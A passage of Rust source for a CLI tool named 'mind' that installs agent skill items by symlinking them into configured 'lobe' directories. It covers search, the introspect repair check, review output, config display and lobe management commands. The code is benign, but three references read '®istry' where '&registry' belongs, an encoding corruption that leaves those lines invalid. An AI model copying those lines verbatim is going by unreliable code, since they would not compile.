) -> Result<()> {
let out = crate::render::ctx();
if let Some(s) = source {
crate::resolve::validate_source_selector(s)?;
}
let registry = Registry::load(paths)?;
let items = catalog::scan(paths, ®istry)?;
let manifest = Manifest::load(paths)?;
let q = query.unwrap_or("");
let mut hits: Vec<(usize, &CatalogItem)> = items
.iter()
.enumerate()
.filter(|(_, it)| {
catalog::matches_query(it, q) && kind.is_none_or(|k| it.kind == k)
&& source.is_none_or(|s| source_matches_glob(&it.source, s))
})
.collect();
hits.sort_by_key(|(_, a)| a.key());
let installed = |it: &CatalogItem| {
manifest
.items
.values()
.any(|m| m.source == it.source && m.kind == it.kind && m.bare_name == it.name)
};
let mut unmanaged: Vec<crate::unmanaged::UnmanagedItem> = if source.is_none() {
let needle = q.to_lowercase();
crate::unmanaged::scan(paths, &manifest)?
.into_iter()
.filter(|u| kind.is_none_or(|k| u.kind == k) && u.name.to_lowercase().contains(&needle))
.collect()
} else {
Vec::new()
};
unmanaged.sort_by_key(|u| u.key());
if json {
let dep_index = crate::deps::DepIndex::new(&items);
let profile_docs: std::collections::BTreeMap<
&str,
serde_json::Map<String, serde_json::Value>,
> = registry
.sources
.iter()
.map(|s| {
let mut obj = serde_json::Map::new();
insert_profile_json(paths, s, &mut obj);
(s.name.as_str(), obj)
})
.collect();
let mut rows: Vec<ProbeRow> = hits
.iter()
.map(|(node, it)| {
let dependencies = dep_index
.direct_keys(*node, &read_item_text)
.iter()
.map(|k| crate::sanitize::strip_ansi(k))
.collect();
ProbeRow {
installed: installed(it),
kind: it.kind.as_str(),
name: it.display_effective_name(),
source: crate::sanitize::strip_ansi(&it.source),
hash: it.content_hash().ok(),
description: it.description.as_deref().map(crate::sanitize::strip_ansi),
when_to_use: it
.when_to_use
.as_deref()
.filter(|_| it.kind == ItemKind::Workflow)
.map(crate::sanitize::strip_ansi),
unmanaged: false,
dependencies,
source_profiles: profile_docs
.get(it.source.as_str())
.cloned()
.unwrap_or_default(),
}
})
.collect();
for u in &unmanaged {
rows.push(ProbeRow {
installed: false,
kind: u.kind.as_str(),
name: crate::sanitize::strip_ansi(&u.name),
source: String::new(),
hash: None,
description: None,
when_to_use: None,
unmanaged: true,
dependencies: Vec::new(),
source_profiles: serde_json::Map::new(),
});
}
return print_json_envelope(&rows);
}
if hits.is_empty() && unmanaged.is_empty() {
if registry.sources.is_empty() {
println!("no sources melded; run `mind meld <owner/repo>` to add one");
} else {
println!("no items match '{q}'");
}
return Ok(());
}
let catalog_graph = crate::deps::installed_graph(&items, |_| true, read_item_text);
let mut rows = Vec::new();
for (_, it) in &hits {
let cur = it.content_hash().ok();
let hash = cur.as_deref().map(short).unwrap_or_else(|| "-".into());
let m = manifest
.items
.values()
.find(|m| m.source == it.source && m.kind == it.kind && m.bare_name == it.name);
let outdated = m.is_some_and(|m| {
let hash_drift = cur.as_deref().is_none_or(|h| h != m.hash);
let rename_drift = it.effective_name() != m.name;
hash_drift || rename_drift
});
let marker = if m.is_some() {
out.green("*")
} else {
String::new()
};
let mut desc = summary(it.display_description().as_deref(), 60);
if outdated {
desc = format!("{desc} {}", out.yellow("(outdated; run `mind upgrade`)"));
}
rows.push(vec![
marker,
it.display_key(),
out.dim(&it.source),
out.dim(&hash),
desc,
]);
if let Some(subtree) = catalog_graph.render_subtree(it.key().as_str()) {
for line in subtree.lines().skip(1) {
rows.push(vec![
String::new(),
crate::sanitize::strip_ansi(line),
String::new(),
String::new(),
String::new(),
]);
}
}
}
for u in &unmanaged {
let where_ = u
.paths
.iter()
.map(|p| display_path(p))
.collect::<Vec<_>>()
.join(", ");
rows.push(vec![
String::new(),
u.display_key(),
out.dim("(unmanaged)"),
out.dim("-"),
out.dim(&where_),
]);
}
out.print_rows(&rows);
let hit_sources: Vec<&crate::source::Source> = registry
.sources
.iter()
.filter(|s| hits.iter().any(|(_, it)| it.source == s.name))
.collect();
print_profile_block(paths, &hit_sources);
Ok(())
}
#[derive(Serialize)]
struct ProbeRow<'a> {
installed: bool,
kind: &'a str,
name: String,
source: String,
hash: Option<String>,
description: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
when_to_use: Option<String>,
#[serde(skip_serializing_if = "std::ops::Not::not")]
unmanaged: bool,
#[serde(skip_serializing_if = "Vec::is_empty")]
dependencies: Vec<String>,
#[serde(flatten)]
source_profiles: serde_json::Map<String, serde_json::Value>,
}
#[derive(Serialize)]
struct Issue {
kind: &'static str,
target: String,
message: String,
}
pub fn introspect(paths: &Paths, fix: bool, json: bool) -> Result<()> {
let registry = Registry::load(paths)?;
let mut manifest = Manifest::load(paths)?;
let mut issues: Vec<Issue> = Vec::new();
let mut catalog: Vec<CatalogItem> = Vec::new();
for s in ®istry.sources {
if let Err(e) = catalog::scan_source(paths, s, &mut catalog) {
issues.push(Issue {
kind: "source-scan-failed",
target: s.name.clone(),
message: format!("source '{}' could not be scanned: {e}", s.name),
});
}
}
let mut repaired: Vec<String> = Vec::new();
let mut manifest_dirty = false;
let mut repaired_vanished_lobes: std::collections::HashSet<String> =
std::collections::HashSet::new();
{
let cfg_result = Config::load(paths);
if let Ok(mut cfg) = cfg_result
&& !cfg.lobes.is_empty()
{
let mut pruned = false;
for entry in &cfg.lobes {
let lobe = crate::paths::Lobe {
path: std::path::PathBuf::from(entry.path()),
kinds: entry.kinds().map(|ks| ks.to_vec()),
};
if !lobe.reachable() {
issues.push(Issue {
kind: "vanished-lobe",
target: entry.path().to_string(),
message: format!(
"lobe '{}' parent dir is gone; \
run `mind introspect --fix` to prune it",
entry.path()
),
});
if fix {
let lobe_pb = std::path::PathBuf::from(entry.path());
for item in manifest.items.values_mut() {
let before = item.links.len();
item.links
.retain(|l| !std::path::Path::new(l).starts_with(&lobe_pb));
if item.links.len() != before {
manifest_dirty = true;
}
}
pruned = true;
repaired_vanished_lobes.insert(entry.path().to_string());
}
}
}
if fix && pruned {
cfg.lobes.retain(|e| {
let lobe = crate::paths::Lobe {
path: std::path::PathBuf::from(e.path()),
kinds: e.kinds().map(|ks| ks.to_vec()),
};
lobe.reachable()
});
cfg.save(paths)?;
repaired.push("pruned vanished lobe(s) from config".to_string());
}
}
}
if !repaired_vanished_lobes.is_empty() {
issues.retain(|i| {
!(i.kind == "vanished-lobe" && repaired_vanished_lobes.contains(&i.target))
});
}
let all_lobes = paths.agent_homes()?;
let live_lobes: Vec<crate::paths::Lobe> =
all_lobes.into_iter().filter(|l| l.reachable()).collect();
for s in ®istry.sources {
if !s.clone_dir(paths).join(".git").is_dir() {
issues.push(Issue {
kind: "no-clone",
target: s.name.clone(),
message: format!("source '{}' has no clone on disk; run `mind sync`", s.name),
});
} else if s.commit.is_none() {
issues.push(Issue {
kind: "never-synced",
target: s.name.clone(),
message: format!("source '{}' was never synced; run `mind sync`", s.name),
});
}
}
for it in manifest.items.values_mut() {
let missing: Vec<String> = it
.links
.iter()
.filter(|link| std::fs::symlink_metadata(link).is_err())
.cloned()
.collect();
if !missing.is_empty() {
let n = if fix { install::relink(paths, it)? } else { 0 };
if n > 0 {
repaired.push(format!(
"{}: relinked {n} missing symlink(s)",
it.key().as_str()
));
}
for link in &missing {
if std::fs::symlink_metadata(link).is_err() {
issues.push(Issue {
kind: "missing-link",
target: it.key().into(),
message: format!("{}: symlink missing at {link}", it.key().as_str()),
});
}
}
}
let link_rel = it
.links
.iter()
.find_map(|link_str| {
let link = std::path::Path::new(link_str);
live_lobes
.iter()
.find_map(|lobe| link.strip_prefix(&lobe.path).ok())
.map(|rel| rel.to_string_lossy().into_owned())
})
.or_else(|| paths.default_link_rel(it.kind, &it.name));
if let Some(rel) = link_rel {
for lobe in &live_lobes {
if !lobe.admits(it.kind) {
continue;
}
let expected = lobe.path.join(&rel);
let expected_str = expected.to_string_lossy().into_owned();
let in_manifest = it.links.iter().any(|l| l == &expected_str);
let on_disk = std::fs::symlink_metadata(&expected).is_ok();
if in_manifest && on_disk {
continue;
}
if fix {
let (created, errs) =
install::link_into_new_lobes(paths, it, std::slice::from_ref(lobe), false);
if !created.is_empty() {
it.links.extend(
created
.into_iter()
.map(|p| p.to_string_lossy().into_owned()),
);
manifest_dirty = true;
repaired.push(format!(
"{}: linked into new lobe {}",
it.key().as_str(),
lobe.path.display()
));
}
for (p, e) in errs {
issues.push(Issue {
kind: "missing-lobe-link",
target: it.key().into(),
message: format!("{}: {e}", p.display()),
});
}
} else {
issues.push(Issue {
kind: "missing-lobe-link",
target: it.key().into(),
message: format!(
"{}: not linked into lobe {}; run `mind introspect --fix`",
it.key().as_str(),
lobe.path.display()
),
});
}
}
}
match catalog
.iter()
.find(|c| c.kind == it.kind && c.name == it.bare_name && c.source == it.source)
{
None => issues.push(Issue {
kind: "removed-upstream",
target: it.key().into(),
message: format!(
"{}: no longer present in source '{}'",
it.key().as_str(),
it.source
),
}),
Some(cat) => {
if cat.effective_name() != it.name {
issues.push(Issue {
kind: "namespace-changed",
target: it.key().into(),
message: format!(
"{}: namespace changed to '{}'; run `mind upgrade`",
it.key().as_str(),
cat.effective_name()
),
});
} else if let Ok(h) = cat.content_hash()
&& h != it.hash
{
issues.push(Issue {
kind: "drifted",
target: it.key().into(),
message: format!(
"{}: upstream changed; run `mind upgrade`",
it.key().as_str()
),
});
}
}
}
}
for it in manifest.items.values() {
if it.dropped_requires.is_empty() {
continue;
}
let source = strip_ansi(&it.source);
let listed: String = it
.dropped_requires
.iter()
.map(|e| strip_ansi(e))
.collect::<Vec<_>>()
.join(", ");
issues.push(Issue {
kind: "dropped-requires",
target: it.key().into(),
message: format!(
"{}: installed from a single-item link (source '{source}'), so its \
`requires {listed}` was dropped and the item it names is not installed; \
meld the whole repo to get both (`mind recall --sources` lists the melded \
sources)",
it.display_key(),
),
});
}
if fix && manifest_dirty {
manifest.save(paths)?;
}
for issue in &mut issues {
issue.target = strip_ansi(&issue.target);
issue.message = strip_ansi(&issue.message);
}
for note in &mut repaired {
*note = strip_ansi(note);
}
if json {
#[derive(Serialize)]
struct Report<'a> {
schema: u8,
issues: &'a [Issue],
sources: usize,
items: usize,
}
return print_json(&Report {
schema: 1,
issues: &issues,
sources: registry.sources.len(),
items: manifest.items.len(),
});
}
let out = crate::render::ctx();
for note in &repaired {
println!("{} {note}", out.ok());
}
for issue in &issues {
println!("{} {}", out.warn(), issue.message);
}
if issues.is_empty() {
println!(
"{} all good: {} source(s), {} item(s) installed",
out.ok(),
registry.sources.len(),
manifest.items.len()
);
} else {
println!("\n{} {} issue(s) found", out.err(), issues.len());
}
Ok(())
}
pub fn review(paths: &Paths, target: &str, alias: Option<String>, fix: bool) -> Result<()> {
let result = crate::review::review(paths, target, alias, fix)?;
crate::review::print_findings(&result.hard, &result.advisory);
let out = crate::render::ctx();
for f in &result.fixed {
println!("{} fixed {f}", out.ok());
}
if json_mode() {
return emit_review_json(&result);
}
if result.hard.is_empty() {
if result.advisory.is_empty() {
println!("{} review: no issues found", out.ok());
} else {
println!(
"{} review: {} advisory finding(s); source is publishable",
out.warn(),
result.advisory.len()
);
}
Ok(())
} else {
println!(
"\n{} review: {} hard error(s), {} advisory finding(s)",
out.err(),
result.hard.len(),
result.advisory.len()
);
Err(crate::error::MindError::ReviewFailed {
hard: result.hard.len(),
})
}
}
pub fn review_policy_dispatch(path: &std::path::Path) -> Result<()> {
if !json_mode() {
return crate::review::dispatch_policy(path);
}
let result = crate::review::review_policy(path)?;
emit_review_json(&result)
}
#[derive(Serialize)]
struct ReviewFindingJson<'a> {
kind: &'a str,
message: &'a str,
}
#[derive(Serialize)]
struct ReviewJson<'a> {
schema: u8,
action: &'static str,
outcome: &'static str,
hard: Vec<ReviewFindingJson<'a>>,
advisory: Vec<ReviewFindingJson<'a>>,
fixed: &'a [String],
}
fn review_json_document(result: &crate::review::ReviewResult) -> ReviewJson<'_> {
let outcome = if !result.hard.is_empty() {
"failed"
} else if !result.advisory.is_empty() {
"advisory"
} else {
"clean"
};
fn finding_json(f: &crate::review::Finding) -> ReviewFindingJson<'_> {
ReviewFindingJson {
kind: f.kind,
message: &f.message,
}
}
ReviewJson {
schema: 1,
action: "review",
outcome,
hard: result.hard.iter().map(finding_json).collect(),
advisory: result.advisory.iter().map(finding_json).collect(),
fixed: &result.fixed,
}
}
fn emit_review_json(result: &crate::review::ReviewResult) -> Result<()> {
let doc = review_json_document(result);
if !result.hard.is_empty() {
crate::json_stdout::record_error_details(&doc);
return Err(crate::error::MindError::ReviewFailed {
hard: result.hard.len(),
});
}
print_json(&doc)
}
pub fn config_show(paths: &Paths) -> Result<()> {
let out = crate::render::ctx();
paths.ensure_config()?;
let file = paths.config_file();
let cfg = Config::load(paths)?;
let limit = crate::error::metadata_size_limit();
if out.json {
return print_json(&serde_json::json!({
"config_file": file.display().to_string(),
"lobes": cfg.lobes,
"default_lobe": paths.claude_home.display().to_string(),
"ssh": cfg.ssh,
"max_metadata_size": crate::error::format_metadata_size(limit),
"max_metadata_size_bytes": limit.min(i64::MAX as u64),
}));
}
println!("{} config file: {}", out.bullet(), file.display());
if cfg.lobes.is_empty() {
println!(
" {} lobes = [] (default: {})",
out.dim("·"),
paths.claude_home.display()
);
} else {
let rendered: Vec<String> = cfg.lobes.iter().map(format_lobe).collect();
println!(" {} lobes = {}", out.dim("·"), rendered.join(", "));
}
println!(
" {} ssh = {} (prefer SSH for melded remotes)",
out.dim("·"),
cfg.ssh
);
println!(
" {} max-metadata-size = {} (cap on every metadata file read from a source)",
out.dim("·"),
crate::error::format_metadata_size(limit)
);
if let Some(note) = metadata_cap_origin(crate::config::metadata_limit_origin()) {
println!("note: {note}");
}
if let Some(env) = std::env::var_os("MIND_AGENT_HOMES") {
println!(
"note: MIND_AGENT_HOMES is set and overrides lobes: {}",
env.to_string_lossy()
);
}
Ok(())
}
fn metadata_cap_origin(origin: Option<&crate::config::MetadataLimitOrigin>) -> Option<String> {
use crate::config::MetadataLimitOrigin;
match origin? {
MetadataLimitOrigin::Flag(raw) => Some(format!(
"the max-metadata-size shown is this run's --max-metadata-size ({}), which \
overrides the environment and the config key",
crate::sanitize::strip_ansi(raw)
)),
MetadataLimitOrigin::Env(raw) => Some(format!(
"{} is set and overrides the max-metadata-size config key: {}",
crate::config::MAX_METADATA_SIZE_ENV,
crate::sanitize::strip_ansi(raw)
)),
MetadataLimitOrigin::Config(_) | MetadataLimitOrigin::Default => None,
}
}
fn format_lobe(entry: &crate::config::LobeEntry) -> String {
match entry.kinds() {
None => entry.path().to_string(),
Some(kinds) => {
let names: Vec<&str> = kinds.iter().map(|k| k.as_str()).collect();
format!("{} [{}]", entry.path(), names.join(", "))
}
}
}
fn backfill_new_lobes(paths: &Paths, new_lobes: &[crate::paths::Lobe], force: bool) -> Result<()> {
let mut manifest = Manifest::load(paths)?;
if manifest.items.is_empty() {
return Ok(());
}
for item in manifest.items.values_mut() {
let (created, errs) = install::link_into_new_lobes(paths, item, new_lobes, force);
item.links.extend(
created
.into_iter()
.map(|p| p.to_string_lossy().into_owned()),
);
for (p, e) in errs {
crate::render::warn(format!("could not link {}: {e}", p.display()));
}
}
manifest.save(paths)?;
Ok(())
}
fn candidates_to_lobes(
candidates: &[(&'static str, crate::config::LobeEntry)],
) -> Vec<crate::paths::Lobe> {
candidates
.iter()
.map(|(_, entry)| crate::paths::Lobe {
path: std::path::PathBuf::from(entry.path()),
kinds: entry.kinds().map(|ks| ks.to_vec()),
})
.collect()
}
pub fn lobe_add_resolved(
paths: &Paths,
base: Option<&str>,
preset: Option<&str>,
subdir: Option<&str>,
snapshot: bool,
force: bool,
_yes: bool,
) -> Result<()> {
use crate::paths::{Scope, resolve_lobe};
let out = crate::render::ctx();
if let Some(policy) = Policy::load()?
&& policy.lobes_lock()
{
return Err(lobes_locked_error("add"));
}
if let Some(name) = preset {
Paths::preset_lobe(name)?; }
let (lobe, preset_opt) = resolve_lobe(base, preset, subdir)?;
let path_str = lobe.path.to_string_lossy().into_owned();
if snapshot {
let manifest = Manifest::load(paths)?;
let agent_homes = paths.agent_homes()?;
let mut copied = 0usize;
let mut frozen_keys: Vec<String> = Vec::new();
for item in manifest.items.values() {
if !lobe.admits(item.kind) {
continue;
}
let link_rel = item
.links
.iter()
.find_map(|link_str| {
let link = std::path::Path::new(link_str);
agent_homes
.iter()
.find_map(|h| link.strip_prefix(&h.path).ok())
.map(|rel| rel.to_string_lossy().into_owned())
})
.or_else(|| paths.default_link_rel(item.kind, &item.name));
let link_rel = match link_rel {
Some(r) => r,
None => continue,
};
let dst = lobe.path.join(&link_rel);
let store_src = paths.mind_home.join(&item.store);
if std::fs::symlink_metadata(&dst).is_ok() {
if !force {
return Err(MindError::LinkOccupied {
path: dst.to_string_lossy().into_owned(),
});
}
if dst.is_dir() {
std::fs::remove_dir_all(&dst).map_err(|e| MindError::io(&dst, e))?;
} else {
std::fs::remove_file(&dst).map_err(|e| MindError::io(&dst, e))?;
}
}
install::copy_recursive(&store_src, &dst)?;
copied += 1;
frozen_keys.push(item.key().display());
}
if out.json {
frozen_keys.sort();
let mut result = MutationResult::new(
"lobe-add",
&path_str,
if copied == 0 { "no-op" } else { "snapshot" },
);
result.count = Some(copied);
result.installed = frozen_keys;
return print_json(&result);
}
if copied == 0 {
println!("note: no installed items to snapshot into {path_str}");
} else {
println!("wrote {copied} frozen skill(s) to {path_str}");
let is_git = lobe.path.join(".git").exists()
|| lobe.path.parent().is_some_and(|p| p.join(".git").exists());
if !is_git {
println!(
"note: {path_str} does not appear to be a git repo; \
commit the frozen copies to version-control them"
);
}
}
return Ok(());
}
crate::paths::mkdir_p(&lobe.path)?;
paths.ensure_config()?;
let entry = crate::config::LobeEntry {
path: path_str.clone(),
kinds: lobe.kinds.clone(),
};
let mut cfg = Config::load(paths)?;
if cfg.lobes.iter().any(|e| e.path() == path_str) {
if out.json {
return print_json(&MutationResult::new("lobe-add", &path_str, "no-op"));
}
println!("{} lobe already configured: {path_str}", out.available());
return Ok(());
}
if cfg.lobes.is_empty() {
let ch = paths.claude_home.to_string_lossy().into_owned();
if ch.as_str() != path_str {
cfg.lobes.push(crate::config::LobeEntry::bare(&ch));
}
}
cfg.lobes.push(entry.clone());
cfg.save(paths)?;
let is_project_scope =
preset_opt.is_some_and(|p| p.scope == Scope::Project) || subdir.is_some();
if out.json {
backfill_new_lobes(paths, std::slice::from_ref(&lobe), force)?;
return print_json(&MutationResult::new("lobe-add", &path_str, "added"));
}
match preset_opt {
Some(p) => {
println!("{} added {} lobe {}", out.ok(), p.name, format_lobe(&entry));
}
None => {
println!("{} added lobe {}", out.ok(), format_lobe(&entry));
}
}
if is_project_scope {
let skills_dir = lobe.path.join("skills");
println!(
"note: {}/ contains symlinks into ~/.mind/store; \
add it to .gitignore so the symlinks are not committed",
skills_dir.display()
);
}
backfill_new_lobes(paths, std::slice::from_ref(&lobe), force)?;
Ok(())
}
pub fn lobe_add(paths: &Paths, path: &str, yes: bool) -> Result<()> {
lobe_add_resolved(paths, Some(path), None, None, false, false, yes)
}
pub fn lobe_list(paths: &Paths) -> Result<()> {
let out = crate::render::ctx();
paths.ensure_config()?;
let cfg = Config::load(paths)?;
if out.json {
if cfg.lobes.is_empty() {
let default = crate::config::LobeEntry::bare(paths.claude_home.display().to_string());
return print_json(&serde_json::json!({ "lobes": [default] }));
}
return print_json(&serde_json::json!({ "lobes": cfg.lobes }));
}
if cfg.lobes.is_empty() {
println!("{} (default)", paths.claude_home.display());
} else {
for e in &cfg.lobes {
println!("{}", format_lobe(e));
}
}
let lobes_locked = matches!(Policy::load()?, Some(p) if p.lobes_lock());
if show_override_note(std::env::var_os("MIND_AGENT_HOMES").is_some(), lobes_locked) {
println!("note: MIND_AGENT_HOMES is set and overrides the above");
}
Ok(())
}
fn show_override_note(env_set: bool, lobes_locked: bool) -> bool {
env_set && !lobes_locked
}
pub fn lobe_remove(paths: &Paths, path: &str, snapshot: bool) -> Result<()> {
let out = crate::render::ctx();
if let Some(policy) = Policy::load()?
&& policy.lobes_lock()
{
return Err(lobes_locked_error("remove"));
}
paths.ensure_config()?;
let mut cfg = Config::load(paths)?;
let before = cfg.lobes.len();
cfg.lobes.retain(|e| e.path() != path);
if cfg.lobes.len() == before {
return Err(MindError::UnknownLobe {
path: path.to_string(),
});
}
let mut frozen_count: Option<usize> = None;
if snapshot {
let lobe_path = std::path::Path::new(path);
let mut manifest = Manifest::load(paths)?;
let mut frozen = 0usize;
for item in manifest.items.values_mut() {
let mut new_links = Vec::new();
for link_str in &item.links {
let link = std::path::Path::new(link_str);
if !link.starts_with(lobe_path) {
new_links.push(link_str.clone());
continue;
}
let store_src = paths.mind_home.join(&item.store);
if std::fs::symlink_metadata(link).is_ok() {
if link.is_dir() && !link.is_symlink() {
std::fs::remove_dir_all(link).map_err(|e| MindError::io(link, e))?;
} else {
std::fs::remove_file(link).map_err(|e| MindError::io(link, e))?;
}
}
install::copy_recursive(&store_src, link)?;
frozen += 1;
}
item.links = new_links;
}
manifest.save(paths)?;
frozen_count = Some(frozen);
if !out.json {
println!("frozen {frozen} link(s) in {path} to real files");
}
}
cfg.save(paths)?;
if out.json {
let mut result = MutationResult::new(
"lobe-remove",
path,
if frozen_count.is_some() {
"detached"
} else {
"removed"
},
);
result.count = frozen_count;
return print_json(&result);
}
println!("{} removed lobe {path}", out.ok());
Ok(())
}
pub fn lobe_detect(paths: &Paths, yes: bool) -> Result<()> {
use crate::paths::{Scope, lookup_preset};
let out = crate::render::ctx();
if let Some(policy) = Policy::load()?
&& policy.lobes_lock()
{
return Err(lobes_locked_error("detect"));
}
paths.ensure_config()?;
let mut cfg = Config::load(paths)?;
let configured: HashSet<String> = cfg.lobes.iter().map(|e| e.path().to_string()).collect();
let detected = Paths::detect_homes()?;
let mut seen: HashSet<std::path::PathBuf> = HashSet::new();
let mut candidates: Vec<(&'static str, crate::config::LobeEntry)> = Vec::new();
for (name, lobe) in detected {
let path = lobe.path.to_string_lossy().into_owned();
if configured.contains(&path) || !seen.insert(lobe.path.clone()) {
continue;
}
candidates.push((
name,
crate::config::LobeEntry {
path,
kinds: lobe.kinds.clone(),
},
));
}
type LobePair = (&'static str, crate::config::LobeEntry);
let (global_candidates, project_candidates): (Vec<LobePair>, Vec<LobePair>) =
candidates.into_iter().partition(|(name, _)| {
lookup_preset(name)
.ok()
.is_none_or(|p| p.scope == Scope::Global)
});
let do_add = if global_candidates.is_empty() {
false
} else if yes {
true
} else if crate::hook::is_tty() {
let names: Vec<String> = global_candidates
.iter()
.map(|(n, e)| format!("{n} ({})", format_lobe(e)))
.collect();
confirm(&format!("add detected lobe(s): {}?", names.join(", ")))?
} else {
false
};
if out.json {
let detected_json: Vec<serde_json::Value> = global_candidates
.iter()
.chain(project_candidates.iter())
.map(|(name, entry)| {
let scope = lookup_preset(name)
.ok()
.map(|p| match p.scope {
Scope::Global => "global",
Scope::Project => "project",
})
.unwrap_or("global");
serde_json::json!({
"preset": name,
"path": entry.path(),
"kinds": entry.kinds().map(|ks| {
ks.iter().map(|k| k.as_str()).collect::<Vec<_>>()
}),
"scope": scope,
})
})
.collect();
let guidance: Vec<String> = project_candidates
.iter()
.map(|(name, _)| {
format!(
"run `mind link-project --preset {name}` inside a project \
directory to link skills there"
)
})
.collect();
if do_add {
if cfg.lobes.is_empty() {
let ch = paths.claude_home.to_string_lossy().into_owned();
if !global_candidates
.iter()
.any(|(_, e)| e.path() == ch.as_str())
{
cfg.lobes.push(crate::config::LobeEntry::bare(&ch));
}
}
for (_, entry) in &global_candidates {
cfg.lobes.push(entry.clone());
}
cfg.save(paths)?;
let new_lobes = candidates_to_lobes(&global_candidates);
backfill_new_lobes(paths, &new_lobes, false)?;
}
return print_json(&serde_json::json!({
"action": "lobe-detect",
"detected": detected_json,
"added": do_add,
"guidance": guidance,
}));
}
if global_candidates.is_empty() && project_candidates.is_empty() {
println!("{} no new agent homes (lobes) detected", out.bullet());
return Ok(());
}
if do_add {
if cfg.lobes.is_empty() {
let ch = paths.claude_home.to_string_lossy().into_owned();
if !global_candidates
.iter()
.any(|(_, e)| e.path() == ch.as_str())
{
cfg.lobes.push(crate::config::LobeEntry::bare(&ch));
}
}
for (name, entry) in &global_candidates {
cfg.lobes.push(entry.clone());
println!("{} added {name} lobe {}", out.ok(), format_lobe(entry));
}
cfg.save(paths)?;
let new_lobes = candidates_to_lobes(&global_candidates);
backfill_new_lobes(paths, &new_lobes, false)?;
} else if !global_candidates.is_empty() {
println!("{} detected agent home(s) (lobes):", out.bullet());
for (name, entry) in &global_candidates {
println!(" {} {name}: {}", out.dim("·"), format_lobe(entry));
}
println!("re-run with --yes to add them");
}
for (name, _) in &project_candidates {
println!(
"{} detected {name}: run `mind link-project --preset {name}` \
inside a project directory to link skills there",
out.bullet()
);
}
Ok(())
}
pub fn completions(shell: clap_complete::Shell) {
use clap::CommandFactory;
let mut cmd = crate::cli::Cli::command();
clap_complete::generate(shell, &mut cmd, "mind", &mut std::io::stdout());
}
pub fn man() -> Result<()> {
use clap::CommandFactory;
let mut out = Vec::new();
let cmd = crate::cli::Cli::command();
clap_mangen::Man::new(cmd.clone())
.render(&mut out)
.map_err(|e| MindError::io("<man>", e))?;
for sub in cmd.get_subcommands() {
if sub.is_hide_set() {
continue;
}
let name: &'static str = Box::leak(format!("mind-{}", sub.get_name()).into_boxed_str());
clap_mangen::Man::new(sub.clone().name(name))
.render(&mut out)
.map_err(|e| MindError::io("<man>", e))?;
}
std::io::stdout()
.write_all(&out)
.map_err(|e| MindError::io("<stdout>", e))
}
fn lobes_locked_error(action: &str) -> MindError {
MindError::LobesLocked {
action: action.to_string(),
}
}
#[derive(Serialize, Debug, PartialEq, Eq)]
pub(crate) struct SkippedEntry {
source: String,
reason: String,
}
impl SkippedEntry {
pub(crate) fn new(source: impl Into<String>, reason: impl Into<String>) -> Self {
SkippedEntry {
source: crate::sanitize::strip_ansi(&source.into()),
reason: crate::sanitize::strip_ansi(&reason.into()),
}
}
pub(crate) fn describe(&self) -> String {
format!(
"{}: {}",
crate::sanitize::strip_ansi(&self.source),
crate::sanitize::strip_ansi(&self.reason)
)
}
}
pub(crate) struct MeldSummary {
pub(crate) source_name: String,
pub(crate) added: usize,
pub(crate) skipped: Vec<SkippedEntry>,
}
#[derive(Serialize, Debug, PartialEq, Eq)]
struct MutationResult {
schema: u8,
action: &'static str,
target: String,
outcome: &'static str,
#[serde(skip_serializing_if = "Option::is_none")]
count: Option<usize>,
#[serde(skip_serializing_if = "Vec::is_empty")]
installed: Vec<String>,
#[serde(skip_serializing_if = "Vec::is_empty")]
removed: Vec<String>,
#[serde(skip_serializing_if = "Vec::is_empty")]
skipped: Vec<SkippedEntry>,
#[serde(skip_serializing_if = "Option::is_none")]
pending_items: Option<usize>,
#[serde(skip_serializing_if = "Option::is_none")]
key: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
profiles: Option<Vec<String>>,
#[serde(skip_serializing_if = "Vec::is_empty")]
profile_additions: Vec<ProfileAddition>,
#[serde(skip_serializing_if = "Vec::is_empty")]
profile_departures: Vec<ProfileDeparture>,
#[serde(skip_serializing_if = "Vec::is_empty")]
kept: Vec<String>,
#[serde(skip_serializing_if = "Vec::is_empty")]
sources: Vec<SourceVersionJson>,
#[serde(skip_serializing_if = "Vec::is_empty")]
breaking: Vec<BreakingMoveJson>,
}
impl MutationResult {
fn new(action: &'static str, target: &str, outcome: &'static str) -> Self {
Self {
schema: 1,
action,
target: target.to_string(),
outcome,
count: None,
installed: Vec::new(),
removed: Vec::new(),
skipped: Vec::new(),
pending_items: None,
key: None,
profiles: None,
profile_additions: Vec::new(),
profile_departures: Vec::new(),
kept: Vec::new(),
sources: Vec::new(),
breaking: Vec::new(),
}
}
}
fn json_mode() -> bool {
crate::render::ctx().json
}
pub(crate) fn print_json<T: Serialize>(value: &T) -> Result<()> {
if crate::json_stdout::is_reserved() {
let s =
serde_json::to_string_pretty(value).map_err(|e| MindError::json("json output", e))?;
crate::json_stdout::record(s);
return Ok(());
}
crate::render::print_json(value)
}
fn print_json_envelope<T: Serialize>(items: &[T]) -> Result<()> {
if crate::json_stdout::is_reserved() {
#[derive(Serialize)]
struct Envelope<'a, T: Serialize> {
schema: u8,
items: &'a [T],
}
return print_json(&Envelope { schema: 1, items });
}
crate::render::print_json_envelope(items)
}
pub(crate) fn single(source: &crate::source::Source) -> Registry {
Registry {
sources: vec![source.clone()],
}
}
fn unresolvable_managed_local_entry(paths: &Paths, spec: &str) -> Option<std::path::PathBuf> {
let parsed = crate::source::parse_spec_quiet(spec).ok()?;
if parsed.host != "local" {
return None;
}
let path = std::path::PathBuf::from(&parsed.url);
(!path.exists() && path.starts_with(paths.sources_dir())).then_some(path)
}
fn scan_one(paths: &Paths, source: &crate::source::Source) -> Result<Vec<CatalogItem>> {
let mut items = Vec::new();
catalog::scan_source(paths, source, &mut items)?;
Ok(items)
}
fn warn_manifest_save_also_failed(se: &MindError) {
crate::render::warn(format!(
"also failed to persist the manifest: {}; on-disk state may not match \
manifest.json -- run `mind introspect --fix` to reconcile",
strip_ansi(&se.to_string())
));
}
fn json_confirmation_action(base: impl std::fmt::Display, json: bool) -> String {
if json {
format!("{base} (--json is always non-interactive; --yes is the only way to proceed)")
} else {
base.to_string()
}
}
fn multi_source_upgrade_note(names: &[String], filters: &[&str]) -> Option<String> {
if names.len() <= 1 {
return None;
}
let mut sanitized: Vec<String> = names.iter().map(|n| strip_ansi(n)).collect();
sanitized.sort();
let quoted: Vec<String> = filters
.iter()
.map(|f| format!("\"{}\"", strip_ansi(f)))
.collect();
let scope = match quoted.as_slice() {
[] => "this upgrade's scope".to_string(),
[one] => format!("the filter {one}"),
many => format!("the filters {} together", many.join(" and ")),
};
Some(format!(
